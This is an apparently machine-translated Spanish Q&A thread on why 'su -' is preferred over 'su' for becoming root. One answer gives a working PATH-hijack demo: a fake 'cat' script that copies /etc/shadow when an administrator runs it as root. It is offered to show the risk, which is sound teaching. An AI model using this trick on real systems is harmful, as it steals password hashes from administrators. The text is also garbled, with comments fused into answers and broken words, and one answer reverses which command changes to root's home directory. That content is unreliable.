No entiendo por qué su -
se prefiere su
iniciar sesión como root.
fuente
No entiendo por qué su -
se prefiere su
iniciar sesión como root.
su -
invoca un shell de inicio de sesión después de cambiar el usuario. Un shell de inicio de sesión restablece la mayoría de las variables de entorno, proporcionando una base limpia.
su
simplemente cambia al usuario, proporcionando un shell normal con un entorno casi igual al del usuario anterior.
Imagínese, usted es un desarrollador de software con acceso de usuario normal a una máquina y su administrador ignorante simplemente no le dará acceso a la raíz. Vamos (con suerte) a engañarlo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Ahora, le preguntas a tu administrador por qué no puedes cat
el archivo ficticio en tu carpeta de inicio, ¡simplemente no funcionará!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Si su administrador no es tan inteligente o simplemente un poco vago, puede venir a su escritorio y probar con sus poderes de superusuario:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
¡Guauu! Gracias, super administrador!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
El, el.
Quizás haya notado que la $PATH
variable corrupta no se restableció. Esto no hubiera sucedido si el administrador hubiera invocado en su su -
lugar.
su --
es el mismo quesu
.umask
gusta 000 o no funcionará.su
archivo dentro de la RUTA. No es tan difícil imitar el comportamiento de lo realsu
. El superusuario ha sido descuidado de todos modos :-)su --
NO es lo mismo quesu -
:--
le dice a un manejador de opciones getopt (s) (o similar) que detenga el procesamiento de la línea de comando para otras opciones (útil, por ejemplo, si el resto contiene nombres de archivo que podrían comenzar con un '-'). Es decir, en "rm -i - f": -f se trata como un argumento regular, así que aquí como el nombre del archivo arm -i
, y no como un additionnal-f
opción para elrm
comando. ¡Asísu --
es justosu
y nosu -
! Porsu --
lo tanto , sería tan inseguro para el ejemplo (divertido e instructivo) givan de wag. Utilizarsu -
.su -
inicia sesión completamente como root, mientrassu
que lo hace para que finjas ser root.El ejemplo más obvio de esto es que
~
es el directorio de inicio de root si lo usasu -
, pero su propio directorio de inicio si lo usasu
.Dependiendo de su sistema, también puede significar diferencias en la solicitud
PATH
o en el archivo de historial.Entonces, si usted es parte de un equipo que administra un sistema y su colega le da un comando para ejecutar, sabe que funcionará igual si ambos están usando
su -
, pero si ambos están usandosu
, puede haber diferencias debido a que tiene diferentes configuraciones de shell.Por otro lado, si desea ejecutar un comando como root pero usando su propia configuración, entonces quizás
su
sea mejor para usted.Además, no se olvide
sudo
, que tiene la-s
opción de iniciar un shell que se ejecuta como root. Por supuesto, esto también tiene reglas diferentes, y cambian según la distribución que esté utilizando.fuente
.bashrc
o/etc/bashrc
o/etc/profile.d
secuencias de comandos están estableciendoPATH
. Busqueif [ $UID -eq 0 ]
o algo por el estilo.$USER
por ejemplo se deja sin cambios.sudo su
?Uso su - cuando estoy en un directorio como usuario normal pero quiero cambiar a root y permanecer en el mismo directorio después del cambio. Cuando usa su, cambia al usuario a root y también lo lleva a / root, que es el directorio raíz de inicio.
fuente
/
o lo que sea que se defina como el directorio de inicio de la raízLa principal diferencia es:
su - username
configura el entorno de shell como si fuera un inicio de sesión limpio como el usuario especificado, accede y utiliza variables de entorno de usuarios especificados,su username
simplemente inicia un shell con la configuración actual del entorno para el usuario especificado.Si el nombre de usuario no se especifica con
su
ysu -
, la cuenta raíz está implícita como predeterminada.fuente